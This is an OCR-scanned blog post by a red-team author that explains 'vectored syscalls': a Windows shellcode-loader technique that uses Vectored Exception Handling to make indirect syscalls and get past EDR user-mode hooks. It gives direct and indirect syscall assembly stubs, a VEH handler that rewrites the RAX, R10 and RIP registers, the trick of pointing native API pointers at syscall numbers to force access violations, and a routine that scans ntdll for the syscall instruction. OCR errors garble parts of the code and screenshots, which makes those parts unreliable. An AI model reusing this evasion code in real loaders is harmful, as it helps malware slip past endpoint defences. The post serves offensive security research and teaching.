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Previous

I've come across the term Vectored Exception Handling or Vectored Exception Handlers
(VEH for short) in the context of malware development, but until now | hadn't really been able
to get to grips with the term or the subject. While preparing for my upcoming Endpoint
Security Insights workshop, | came across the term Vectored Exception Handling again in
the following article from cyberwarfare. The article piqued my curiosity and motivated me to
learn more about the topic. As always, | learn best when | write about a topic myself, prepare
a presentation or something similar.

Based on cyberwarfare's article, | would like to take up the topic of vectored exception
handling in the context of shellcode execution via syscalls and take a closer look at the code
required for this.

First of all, | would like to thank my two colleagues Jonas Kemmner and Robert Rostek, who
always actively support me and proofread my articles before publication.

Disclaimer

The content of this article is intended for research purposes only and must not be used in an
unethical or illegal context!

e Malware Development
o EDR Evasion

EDR Hooks and Evasion

In principle, there are different types of APl hooking, but a common form used by EDRs such
as CrowdStrike, Sentinel One, Trend Micro, etc. is inline APl hooking. Simply put, in this
variant, the execution flow of a user-mode application is redirected to the EDR using a 5-
byte unconditional jump instruction jmp. This redirection allows an EDR to dynamically
analyse the running application in the context of the Windows APIs and check for malicious
behaviour.
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In simple terms, inline APl hooking can be thought of as a process-level proxy. The EDR only
return to the original function and executes the syscall required to transition from user
mode to kernel mode if it detects that the code and parameters being executed are not
malicious.

~ZED1 mov 10 rox
v [E9 6rD40700 imp ntd11.7/FFCC600A827 |

F60425 0803Fe/F 01 | test byte ptr ds:[/FFE0308],1
v 75 03 jne ntd11.7FFCC5F8D3CH

0£05 syscall

(2] ret

CD 2E 2

c3 ret

0F1F8400 00000000 nop dword ptr ds:[rax+rax],eax

r10=840060
rex=1

. text:00007FFCC5F8D3B0| ntd11.d11f: $9D3B0 #9C7B0 <zwAllocateVirtualMemory> ‘

+ | 00007FFCCH00A827 51 push rcx
» ||0000/FFCCH00A828 51 push rcx
» [|OD007FFCC 29 51 push recx
51 push rcx
51 push rcx
51 push &
0 A FF25 00000000 Ijgz gword ptr ds: [7FFCC600A833]|
00 90 ot
000 90 nop
<
rex=1
- text: 00007FFCCH600A827 [ ntd11.d11F $11A827 #0
« [|000001B3FB269090 4c: 8815 11880000 mov rl0,qword ptr ds:[1B3FB271BA8
= ||000001B3FB269097 8805 2B8D00O00 mov eax,dword ptr ds:[1B3FB271DC8
0 0183FE26909D 4cC: 3315 2C8A0000 3 ce 271AD0
. 0183FB2690A4 ~ EB BA jmp 6.183FB269060
. 26 CcC int3
. (o0 int3
. cC int3
. 0183FE2690A9 cc int3
01B3FB2690AA cC int3

<

r10=84D060
qword ptr ds: [mesmms == 16.00000163FB271BA8]=99E20183449877DE

- text: 000001B3FB269090 : $9090 #8490

The figure shows that the Native API NtAllocateVirtualMemory (Zw) is hooked inline (jmp) by the EDR and redirects to the hooking.dll from the EDR

From the point of view of a red team or a malicious attacker, the last thing you want is for
your malware to be analysed by the EDR in this way, and possibly detected and prevented
from running. For this reason, malware developers have become very creative in recent
years and can now resort to a variety of different user-mode hooking evasion techniques. For
example, an attacker may attempt to unhook or patch the user-mode hooked DLL, such as
ntdll.d1l or kernel32.d11, using various techniques.

Alternatively or in addition, techniques such as direct or indirect syscalls can be used. For
implementation, e.g. in a shellcode loader, the corresponding native APIs are used instead of
the Windows APIs, e.g. NtAllocateVirtualMemory() replaces virtualAlloc (). By directly
implementing the native API or the syscall stub of the native API, the shellcode loader no
longer needs to access kernel32.d11 and ntd11l.d11 and can therefore bypass the user
mode hooks. It should also be noted that EDRs place their hooks in other DLLs such as
user32.d1l,win32u.dll, kernelbase.dll, etc. The total number of hooks placed varies

greatly from EDR to EDR. There are EDRs that place a total of 30 hooks, while other EDRs
use up to 80 hooks and more.
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Depending on whether direct or indirect syscalls are used, the memory area in which the
syscall and return statements of the native APIs used are executed differs. When direct
syscalls are used, the complete syscall stub is implemented directly in the malware using
assembly instructions. Similarly, the syscall and return instructions are executed within the
memory area of the malware (.exe).

.CODE ; direct syscalls assembly code
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC

mov ri1@, rcx ; Move the contents of rcx to r1@. This is necessary
because the syscall instruction in 64-bit Windows expects the parameters to be in the
ri0@ and rdx registers.

mov eax, 18h ; Move the syscall number into the eax register.

syscall ; Execute syscall.

ret ; Return from the procedure.
NtAllocateVirtualMemory ENDP ; End of the procedure

The problem from a malware developer's perspective: If a system call (direct syscall) is
executed directly by a user mode application under Windows, this leads to a clear Indicator
of Compromise (I0OC) from the perspective of an EDR. In this case, for example, the thread
call stack within an application (malware) can be analysed using Event Tracing for Windows
(ETW). The following figure shows the anomaly of the stack frames within the thread call
stack of a malware using direct syscalls and the different arrangement of the stack frames
compared to a legitimate application.

General Statistics Performance Threads Token Modules Memory Environment

[

TID CcPU Cycles delta Start address Priority
General Statistics Performance Threads Token Modules Memory Environment Hand 21044 emd.exe+0x18f50 Normal
TID CPU  Cycles delta Start address Priority B Stack - thread 21044 X
21288 1,083,266 0x0 Normal
21228 direct_syscalls.exe+0x1470 Normal Name

ntdll.dlI'NtDeviceloControlFile+0x14
KernelBase.dll'WriteConsoleW+0x191
KernelBase.dl|'ReadConsoleA+0x1cb
KernelBase.dll'ReadConsoleW+0x1a
emd.exe+0x28027

cmd.exe+0x1d31b

emd.exe+0xf438

cmd.exe+0xe626

emd.exe+0xe073

9 cmd.exe+0xlebab

10 emd.exe+0x18ecd

11  kernel32.dll!BaseThreadInitThunk+0x14
12 ntdll.dII'RtiUserThreadStart+0x21

B " Stack - thread 21228 X

Name

direct_syscalls.exe+0x11db
direct_syscalls.exe+0x1188
direct_syscalls.exe+0x1400

kernel32.dll'Base ThreadInitThunk+0x14
ntdll.dll'RtiUserThreadStart+0x21

bW O
NV L WN =D

To work around this problem, or to make the thread call stack more legitimate within a
malware, direct syscalls have been evolved into indirect syscalls. The use of indirect syscalls
means that the syscall and return instructions are executed within the syscall stub in
memory of ntd11.d11. This behaviour is legitimate on Windows, and compared to direct
syscalls, indirect syscalls achieve a higher legitimacy of the thread call stack.
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Memory Environment Handles GPU Comment Memory Environment Handles GPU Comment
General Statistics Performance Threads Token Modules General Statistics Performance Threads Token Modules

TID “cpu Cycles delta Start address Priority TID cpu Cycles delta Start address Priority
19496 1,120,354 0x0 Normal 6192 1,055,298 0x0 Normal
17028 direct_syscalls.exe+0x1470 Normal 7944 indirect_syscalls.exe!mainCRTStartup Normal

[ Stack - thread 17028 X [ Stack - thread 7944 X

Name Name

direct_syscalls.exe+0x11db I I ntdll.dIl'ZwWaitForSingleObject+0x14 I
direct_syscalls.exe+0x1188 indirect_syscalls.exe!main+0x232
direct_syscalls.exe+0x1400 indirect_syscalls.exe!__scrt_common_main_seh+0x10c
kernel32.dll!BaseThreadInitThunk+0x14 kernel32.dll!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21 ntdll.dll!RtlUserThreadStart+0x21

S WwN o
S wN o

This can be done programmatically in assembler using an unconditional jump instruction jmp.

After the System Service Number (SsN) has been moved into the eax register using the mov
instruction, the jmp instruction is used to redirect to the memory area of ntd11.d11. The
syscall and return instructions are then executed at the end of the syscall stub within the
memory area of ntd11.d11.

.CODE ; indirect syscalls assembly code
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
mov r10, rcx ; Move the contents of rcx to r10. This is
necessary because the syscall instruction in 64-bit Windows expects the parameters to
be in the r10 and rdx registers.
mov eax, 18h ; Move the syscall number into the eax register.
jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] ; Jump to the actual syscall
memory address in ntdll.dll
NtAllocateVirtualMemory ENDP ; End of the procedure

However, the concept of indirect syscalls, i.e. the execution of syscall and return
statements in the context of a specific native API within the memory of ntd11.d11, cannot
only be achieved by implementing assembly code under C. The same behaviour can also be
achieved by using Vectored Exception Handling. How this works in C, for example in the
context of a shellcode loader, is explained in this article based on the Cyberwarfare article.

Vectored Exception Handling

Vectored Exception Handling (VEH) was introduced with Windows XP and is part of the
exception handling mechanism that handles errors (e.g. division by zero) and unusual
conditions or exceptions (e.g. illegal memory access) that can occur during the execution of
a program. Vectored Exception Handling is part of the broader Windows Structured
Exception Handling (SEH) framework. Unlike SEH, which is defined specifically for a function
or block of code, VEH is global to the entire application and is called before the standard
structured exception handlers when an error occurs during program execution.
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The handler is implemented using PVECTORED_EXCEPTION_HANDLER, called or
registered using the Windows API AddVectoredExceptionHandler and unregistered using
RemoveVectoredExceptionHandler. The ExceptionCode member can be used within the
EXCEPTION_RECORD structure to specify which exception should trigger the handler. With
vectored exception handling, developers can implement custom and specific logic for
handling exceptions such as EXCEPTION_ ACCESS VIOLATION, EXCEPTION BREAKPOINT,
EXCEPTION_FLT DIVIDE BY_ ZERO, etc., and gain greater control over how a program
responds to various error scenarios.

The following C code shows an example of how to define a VEH function using
VectoredExceptionHandler. The code also shows how the Vectored Exception Handler can
be registered and deregistered within the main function using
AddVectoredExceptionHandler () and RemoveVectoredExceptionHandler ().
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#include <windows.h>
#include <stdio.h>

// Prototype of the VEH function
LONG CALLBACK VectoredExceptionHandler (EXCEPTION_POINTERS *ExceptionInfo);

// Implementation of the VEH function
LONG CALLBACK VectoredExceptionHandler (EXCEPTION_POINTERS *ExceptionInfo) {
// Check if it's an access violation
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)

printf("Access violation detected!\n");
// Handle the exception here
/]

// Additional exceptions can be handled here
/]

// EXCEPTION_CONTINUE_SEARCH indicates that the next handler function should be
called
return EXCEPTION_CONTINUE_SEARCH;

int main() {
// Add the Vectored Exception Handler
PVOID handle = AddVectoredExceptionHandler (1, VectoredExceptionHandler);

// Normal code can be added here
// ...

// Remove the Vectored Exception Handler before exiting the program
RemoveVectoredExceptionHandler (handle);

return 0;

However, red teams and attackers also use vectored exception handling and can obfuscate
code flow or achieve accelerated shellcode execution through VEH by implementing it in
their malware. For example, the following article from CrowdStrike or the article from Elastic
Security Labs shows very nicely how the GULOADER malware uses vectored exception
handling to obfuscate the code flow (anti-debugging) and thus make manual analysis by
reverse engineering more difficult.

Vectored Syscalls

As mentioned above, this article examines how to implement vectored exception handling in
a shellcode loader for running shellcode via syscalls. | used the code from cyberwarefare,
which can be found on Github, as the basis for my shellcode loader. Since | avoid remote
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injection as much as possible for OPSEC reasons, | have rewritten the shellcode loader for
myself so that the execution of the shellcode takes place within the loader to be executed
(self injection). | don't want to publish the rewritten code here, but rather explain the principle
of vectored exception handling in the context of shellcode execution using the relevant parts
of the code.

What is meant by syscalls via vectored exception handling or vectored syscalls? Simply put,
we want to achieve syscall execution through the vectored exception handler by defining a
VEH function and deliberately throwing an exception. As we will see later, this allows us to
execute shell code in the form of indirect syscalls, but without having to implement assembly

instructions in the code.

Registered Vectored Exception Handler

TINUE_SEARCH;

Loader.exe

Calling SSN e.g. 0x18 triggers
ACCESS_VIOLATION Exception

Next Instruction

ntdll.dll
4c:8epl mov rl0,rcx
B8 DD0O00000 mov eax,DD
F60425 0803FE7F 01 test byte ptr : [7FFE0308],1
75 03 ine ntdl1./FFBD296EB7S
EFOS I
5 ret
CD ZE ZE
c3 ret
0OF1F8400 00000000 nop dword ptr ds:[rax+rax],eax

The figure shows the principle of executing syscalls via Vectored Exception Handling

In the following, we will look at the most important code elements needed to implement
syscalls via vectored exception handling, and | will try to explain how they work as well as

possible.

Vectored Exception Handler Function

The first step is to look at the vectored exception handler function
PvectoredExceptionHandler (), which is later called in the main function via the Windows
API AddvectoredExceptionHandler (). The function is defined using
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PVECTORED_EXCEPTION_HANDLER. Within the function, EXCEPTION RECORD is used to define the
criterion (exception) that should trigger a pass to the vectored exception handler. More
specifically, we define the value for the ExceptionCode member within EXCEPTION_RECORD. In
our case, we assign the value EXCEPTION_ACCESS_VIOLATION to the ExceptionCode member.
We will see later why exactly we define this exception and how it is triggered.

// Vectored Exception Handler function
LONG CALLBACK PvectoredExceptionHandler (PEXCEPTION_POINTERS exception_ptr) {
// Check if the exception is an access violation
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)

// Modify the thread's context to redirect execution to the syscall address
// Copy RCX register to R10
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;

// Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN)
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;

// Set RIP to global address (set syscalls address retrieved from NtDrawText
to RIP register)
exception_ptr->ContextRecord->Rip = g_syscall addr;

// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;

}

// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;

To implement syscalls via vectored exception handling, additional exception ptr pointers
must be defined within the VEH function PvectoredExceptionHandler (). Unlike before,
however, the structure CONTEXT is used to access the desired registers rcx, r10, rax, rip.
We use these pointers to form the basis for the execution of syscalls via VEH. If | have
understood correctly, the structure of the VEH function PvectoredExceptionHandler ()
ultimately replicates the part of the syscall stub of a native API that is ultimately necessary
for the preparation of the ssN and the execution of the SsN via syscall. The following
diagram illustrates this analogy.

OF1F8400 00000000 nop dword ptr ds:[rax+rax],eax
4C:8BD1

exception_ptr->ContextRecord->R10 exception_ptr->ContextRecord->Rcx; mov_ri0.rcx |

B8 18000000 mov_eax, 18 |

F60425 0803FE7F 01 test byte ptr ds:[7FFE0308],1
75 03 i 1.7FFBD296D2ES5
exception_ptr->ContextRecord->Rax exception_ptr->ContextRecord->Rip; JOFOS

exception_ptr->ContextRecord->Rip = g scall_addr; OF1F8400 00000000 nop dword ptr ds:[rax+rax],eax

The figure shows the analogy between the VEH function structure and the native API syscall stub structure.
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At the end of the PvectoredeExceptionHandler () function,
EXCEPTION_CONTINUE_EXECUTION is used to specify that after handling an exception
thrown by EXCEPTION_ACCESS_VIOLATION, programm execution should continue from the
point where the exception was thrown. If an exception is thrown that has not been thrown by
the EXCEPTION_ACCESS VIOLATION exception, itis passed to the next VEH function via
EXCEPTION_CONTINUE_ SEARCH. In our case, we have not defined another VEH function, so it
would be passed to the Structured Exception Handler (SEH).

// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;

}

// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;

Exception Triggering

After defining the VEH function, a way must be found to specifically throw the
EXCEPTION_ACCESS VIOLATION exception. To do this, all native APIs (which are declared as
pointers) are initialised directly in the shellcode loader via the corresponding ssn. However,
since a variable defined as a pointer, e.g. pNtAllocateVirtualMemory, should normally point
to a memory address and not directly to a value, this leads to an unauthorised memory
access which triggers the VEH function via EXCEPTION_ACCESS VIOLATION.

// Define syscall numbers for various NT API functions
enum syscall _no {

SysNtAllocateVirtualMem = 0x18, // Syscall number for NtAllocateVirtualMemory
SysNtWriteVirtualMem = 0Ox3A, // Syscall number for NtWriteVirtualMemory
SysNtProtectVirtualMem = 0x50, // Syscall number for NtProtectVirtualMemory
SysNtCreateThreadEx = OxC2, // Syscall number for NtCreateThreadEx
SysNtWaitForSingleObject = 0x4 // Syscall number for NtWaitForSingleObject

1

// Assign system call function pointers to their respective syscall numbers
_NtAllocateVirtualMemory pNtAllocateVirtualMemory =
(_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;

_NtWriteVirtualMemory pNtWriteVirtualMemory =
(_NtWriteVirtualMemory)SysNtWriteVirtualMem;

_NtProtectVirtualMemory pNtProtectVirtualMemory =
(_NtProtectVirtualMemory)SysNtProtectVirtualMem;

_NtCreateThreadEx pNtCreateThreadEx = (_NtCreateThreadEx)SysNtCreateThreadEx;
_NtWaitForSingleObject pNtWaitForSingleObject =
(_NtwWaitForSingleObject)SysNtWaitForSingleObject;

As also described in cyberwarefare's article, initialising the native APls via the ssN has the
advantage that an EXCEPTION_ACCESS_VIOLATION can be triggered in a targeted manner. On
the other hand, it has the advantage that the ssn is cached in the rip register, passed to the
vectored exception handler and then passed to the rax register within the VEH function
PvectoredExceptionHandler ().

9/17


https://learn.microsoft.com/en-us/windows/win32/debug/exception-handler-syntax

This process can be visualised very well by debugging in IDA. The following figure clearly
shows how the attempt to initialise the native APl NtAllocatevirtualMemory () via SSN 0x18
results in an invalid memory access attempt (exc.code c0000005), which throws the Access
Violation Exception, a passing to the Vectored Exception Handler takes place, the ssN 0x18
is moved to the rip register and finally to the rax register.

JBBB7FF6596610A0 4! ©P0eRBCO3CAFFEF8 ©PeB7FFA632EEBE® ntdl
90007FF659661080 FF General registers [ | 000E0RCO3CAFF760  000P000e00000000
30067FF6596610C0 :I.RA)(GGGGGGGGGOGOOGlB 1 N E RIS (MR 000000CO3CATEERS - Scack (000005141 00000000SEATEGES| (572
10034C B0 ER e 0 e R Ry GBBO@LEDEOCESF 98 w debugd23:@0eae1EDEBCESFIR viP o i Vi<
] ouput |RCXFFFFFFFFFFFFFFFF « XzF g
50: The instruction RDX@@00@OCE3CAFF75@ w Stack[00000E14]:000006CE3CAFFT5E VM o DOOOBOOOEEeEPRSe (exc.code cBPOEORS, tid 1572)
Debugger: process hi{RSI8000080000000000 RF 1
7FF659660000: proceiRDI 0000000000000004 NT o
7FFA6325@000: loadeippp poo0@00000000008 - I0PL@
;Eiﬁgzézggggf ﬁ:ge 0PPOBBCOICAFFEES w Stack[00OOE14]: BAROOBCOICAFFEES OF @

: RIP 0900020000800813 :l ] DF @
7FFAG@AC@R00: load SSN 0x18 NtAllocateVirtualMemory IF 1
7FFAG32A2830: threa(R8 0000000000060000 -
7FFA632A2B30: threa(R9 @O@RBBCO3CAFF768 » Stack[@BEAOE14]: B90BAACEICAFF768 ; g

H R10 14F « v v
8: The instruction at 8x18 referenced memory at 8x18. The memory could not be executed -> 8800800000000018 (exc.code c0PEBBE5, tid 3664"
Efff;ffff — = — = — —
DC

In principle, this prepares the ssN in the rax register (similar to preparation using assembly
code mov eax, SSN) for subsequent execution using syscalls. This process is repeated
until all native APIs used in the shellcode loader or initiated via SSN have been passed to the
vectored exception handler and processed after an EXCEPTION_ACCESS_VIOLATION has been
triggered.

Note: The ssN for NtAllocatevirtualMemory () does not necessarily have to be 0x18, as the
SsNs for the same function can vary from Windows to Windows and from version to version.

Find Syscall and Return

Finally, in order to execute the ssn (which is already in the rax register) within the VEH
function PvectoredeExceptionHandler (), we need to find a way to pass the memory address
of a syscall instruction to the rip register.

The first step is to use the Windows API GetModuleHandleA() to access the ntdll.d11
memory. The next step is to use the GetProcAddress() API to access a native API such as
NtDrawText (). Which APl we access in this case does not matter and is independent of
which native API we use to reserve memory, copy shellcode, execute shellcode, etc.
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// Retrieve the module handle for ntdll.dll (Windows NT Layer DLL)
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (hNtdll == NULL) {
printf("Failed to get module handle for ntdll.d11l\n");
exit(-1);
}

// Retrieve the address of the NtDrawText function in ntdll.dll
FARPROC drawtext = GetProcAddress(hNtdll, "NtDrawText");
if (drawtext == NULL) {
printf("Error GetProcess Address\n");
exit(-1);
}

Ultimately it is just a matter of using the FindSyscallAddr function to access the base
address of the previously selected Native API NtDrawText (), and then using an opcode
comparison via a while loop to find the syscall and return statement within the syscall
stub.
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// Function to find the syscall instruction within a function in ntdll.dll
BYTE* FindSyscallAddr (ULONG_PTR base) {
// Cast the base address to a BYTE pointer for byte-level manipulation
BYTE* func_base = (BYTE*)(base);
// Temporary pointer for searching the syscall instruction
BYTE* temp_base = 0x00;

// Iterate through the function bytes to find the syscall instruction pattern
(OXOF 0x05)
// Oxc3 is the opcode for the 'ret' (return) instruction in x64 assembly
while (*func_base != 0xc3) {
temp_base = func_base;
// Check if the current byte is the first byte of the syscall instruction
if (*temp_base == 0x0f) {
temp_base++;
// Check if the next byte completes the syscall instruction
if (*temp_base == 0x05) {
temp_base++;
// Check for 'ret' following the syscall to confirm it's the end of
the function
if (*temp_base == 0xc3) {
temp_base = func_base;

break;
}
}
}
else {
// Move to the next byte in the function
func_base++;
temp_base = 0x00;
}

}

// Return the address of the syscall instruction
return temp_base;
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if (xtemp_base ==

temp_base++;

if (xtemp_base == 0xc3)<f

temp_base = func_base;

func_base++;
temp_base = 0x00;

OF1F8400 00000000
4C:8BD1

B8 18000000

F60425 0803FE7F 01
75 03

nop dword ptr ds:[rax+rax],eax
mov rl0,rcx
mov eax,18
test byte ptr ds:[7FFE03081],1

i‘ ne ntdl1.7FFBD296D2ES
ret

0F05

c3

D 2E | S
Cc3 ret

OF1F8400 00000000

ds: [rax+rax],eax

nop dword ptr

The following illustration uses debugging in IDA to show how the base address of the native
API NtDrawtext () in the memory of ntd11.d11 is first accessed using the Windows APIs

GetModuleHandleA() and GetProcAddress() and then the opcode comparison for 0xf, Ox05
(syscall) and oxc3 (return) is performed using cmp.

~text:0B007FF659661188 mov
.text:e0ee7FFES9E61IBF movzx
£eXt:100007FFE596611C3 mov
. text:00007FFE596611C6 lea
. text:00007FFE596611CD call
. text:@eee7FFE506611D3 test
. text:@ee7FFE596611D6 jnz

[rdx+7Ch], cx
ecx, byte ptr [rax+7Eh]

"4

rcx, ModuleName
etModuleHan,

Tax, Tax
short loc_7FF6596611F0

[

dL.a" text:00007F F6596611F0
text:00007FF6S96611F0 loc_7FFi

text:000A7FFE5IE611FA lea
+text:00007FFE6596611F7 mov
.text:0@0A7FF6596611FA call
. text:08007FF659661200 mov
.text:000a7FF659661203 test
.text:00007FF659661206 jnz

, ProcNane
s rax

rex, rax
Fax, rax

short loc_7FF659661220

"NtDranTex
5 hModule

B

59661208 lea
5966120F call
59661214 mov
59661219 call
5966121F int
5966121F ;

) // starts at 7FF6596610C8

rcx, aErrorGetproces ; CError
sub_7FF659661010

ecx, OFFFFFFFFh ; Code
cs:__imp_exit

3 Trap to Debugger

]
™

. text:00007FF659661220

. text:00007FF659661220 ;

. text:00007FF659661220 mov

. text:00007FF659661228 xor

. text:00007FFG5966122A cmp
. text:00007FF659661220 mov
. text:08007FFE5966122F mov
. text:00007FF659661237 Jz

. text:00007FF659661220 loc_7FF650661220:
unwind { //

[rspe2nshearg_o], rsi
byte ptr [rcx], 8C3h

[rspr2ashearg_8), rdi
short loc_7FF659661264

1

B
-text:00007FF 659661239 nop

|
dword ptr [rax+06900060h]|

3144

[
. text:00007FF 659661240
.text:00007FF659661240 1o
.text:00007FF659661240
. text:00007FF659661243 lea
. text:00007FF659661247 jnz

S [reRel
short loc_7FF659661259)

1
[Ft

]

|

FE:d
. text:00007F F6596: m Byte ptr [rax], © . text:00067FF650661259
text:00007F F659, Tnz SHort_Toc_7T 6061249 . text :00067FF659661259 1o JFFE50661250:

byte ptr [rax], oC3n}

_text:@E@07FFE5066125C MOV TCX, FaX
. text:@0007FF65966125F jnz short loc_7FF659661240)
i
== !
. text:00007FF65966124F [om Bvte o [raxl oo
text :00007FF659661252 Juz__short loc_TFFe5sceizan

The memory address of the syscall instruction is buffered by the g_syscall addr variable,
which is declared global.

// Global variable to store the address of the syscall instruction

ULONG_PTR g_syscall_addr =

0Xx00;
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Finally, the memory address (pointing to the syscall instruction within the syscall stub of
NtDrawText()) is passed to the rip register within the VEH function
PvectoredExceptionHandler () using exception_ptr.

// Vectored Exception Handler function
LONG CALLBACK PvectoredeExceptionHandler (PEXCEPTION_POINTERS exception_ptr) {
// Check if the exception is an access violation
if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)

// Modify the thread's context to redirect execution to the syscall address
// Copy RCX register to R10
exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;

// Copy RIP (Instruction Pointer) to RAX (RIP keeps SSN --> RAX keeps SSN)
exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;

// Set RIP to global address (set syscalls address retrieved from NtDrawText
to RIP register)
exception_ptr->ContextRecord->Rip = g_syscall_addr;

// Continue execution at the new instruction pointer
return EXCEPTION_CONTINUE_EXECUTION;

}

// Continue searching for another exception handler
return EXCEPTION_CONTINUE_SEARCH;

}

// Set RIP to the syscall address for execution
exception_ptr->ContextRecord->Rip = g_syscall_addr;

As a reminder: When trying to initialise a native API, e.g. NtAllocateVvirtualMemory() via
SSN, we were already able to specifically trigger the vectored exception handler via Access
Violation Exception and achieve a transfer of SSN 0x18 to the rip or rax register. As we now
have a valid memory address for the syscall instruction in the context of the native API
NtDrawText (), we can finally execute the syscall for the native API
NtAllocateVirtualMemory () via Vectored Exception Handling.

As mentioned above, this process is repeated until all native APIs used in the shellcode
loader or initiated via SSN have been separately passed to the vectored exception handler
after an EXCEPTION_ACCESS_VIOLATION has been thrown, processed and finally the shellcode
executed.

Summary

As a result, we now have the basis for executing the native APIs used in the context of the
shellcode loader using syscalls via Vectored Exception Handling (Vectored Syscalls). Here is
a rough summary of the main processes in the code.
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PVECTORED_EXCEPTION_HANDLER is used to define the vectored exception handler
function PvectoredExceptionHandler.

Within the PvectoredExceptionHandler () function, we define the exception code, e.g.

EXCEPTION_ACCESS VIOLATION, that will trigger a pass to the vectored exception
handler.

Within the PvectoredeExceptionHandler () function, we define the necessary pointers
to access the rcx, ri10, rax, rip registers.

We deliberately trigger the EXCEPTION_ACCESS _VIOLATION that was defined as the
exception code within our VEH function.

The EXCEPTION_ACCESS_VIOLATION is triggered by trying to initiate a native API, e.g.
NtAllocateVirtualMemory() via SSN.

The ssN is passed to the rip register, which in turn is passed to the rax register within
the VEH function.

The Windows API GetModuleHandleA() is used to access the ntd11.d11 memory.

We also use GetProcAddress() to access the base address of any native API within
ntd1ll.d1l (e.g. NtDrawText()).

The FindSyscallAddr function performs an opcode comparison using a while loop to
find the memory address of the syscall instruction within the sycall stub of the native
API (e.g. NtDrawText ()).

The memory address of the syscall instruction is stored in the global variable
g _syscall addr and passed to the rip register within the VEH function.
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e The syscall is then executed by the registered vectored exception handler for the
native API, e.g. NtAllocateVirtualMemory().

» Repeat the process for any other necessary native APIs required to execute the
shellcode, e.g. NtWritevVirtualMemory(), NtProtectVirtualMemory(),
NtCreateThreadEx() and NtwaitForSingleObject().

Ultimately, this sequence allows us to execute the shellcode in our loader in the form of
(indirect) syscalls using vectored exception handling.

Insights

As mentioned above, direct syscalls or indirect syscalls can be implemented via assembly
code within a shellcode loader. However, this article has shown that this can also be done via
Vectored Exception Handling (VEH).

| ndirect_syscalls.exe (16300) Propertie I \'E—;,;::: s.exe (16224) Propertie
General  Statistics Performance Threads Token Modules Memory Environment General Statistics Performance Threads Token Modules Memory Environment
TID CPU Cycles delta Start address Priority TID cPU Cycles delta Start address Priority
14780 1,093,754 0x0 Normal 12080 1052752 0x0 Normal
2728 indirect_syscalls.exe!mainCRTStartup Normal 7568 o VEH_syscalls.exe+0x1610 Normal
87 Stack - thread 2728 X [ Stack - thread 7568 X
Name Name

ntdll.dll!NtDrawText+0x14
VEH_syscalls.exe+0x1348
VEH_syscalls.exe+0x15a0
kernel32.dlIl!BaseThreadInitThunk+0x14
ntdll.dll!RtlUserThreadStart+0x21

ntdll.dIl'ZwWaitForSingleObject+0x14
indirect_syscalls.exe!main+0x232
indirect_syscalls.exe!__scrt_common_main_seh+0x10c
kernel32.dII'BaseThreadInitThunk+0x14
ntdll.dIl!RtlUserThreadStart+0x21

S WN O

A WNHO

For example, if you compare the arrangement of stack frames within the thread call stack
between an indirect syscall shellcode loader and a vectored syscall shellcode loader, you will
see that the arrangement is completely identical. This is to be expected, as the execution of
the syscall and return statements takes place within the memory of ntd11.d11, using
vectored exception handling.

Despite the fact that the native API NtwaitForSingleObject() is executed last in both
shellcode loaders, you can see in the thread call stack of the vectored syscall loader (image
on the right) that, compared to the indirect syscall loader, the return statement is executed in
the memory area of NtDrawText () and not in the memory area of

NtwaitForSingleObject (). The simple reason for this is that in our Vectored Syscall Loader
we access the base address of NtDrawText () via the Windows APl GetProcAddress() in
order to find the syscall statement within the syscall stub via an opcode comparison,
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Finally, the memory address of the syscall instruction is passed to the rip register in the
context of NtDrawText () within the VEH function PvectoredExceptionHandler () to execute
the syscall via the Vectored Exception Handler.

The extent to which executing syscalls via vectored exception handling offers an advantage
over EDR evasion cannot yet be judged due to lack of experience. | hope this article has
helped you learn more about vectored exception handling and how it can be used in malware
development, e.g. to execute shellcode via syscalls. See you in the next article!

Happy Hacking!

Daniel Feichter @VirtualAllocEx
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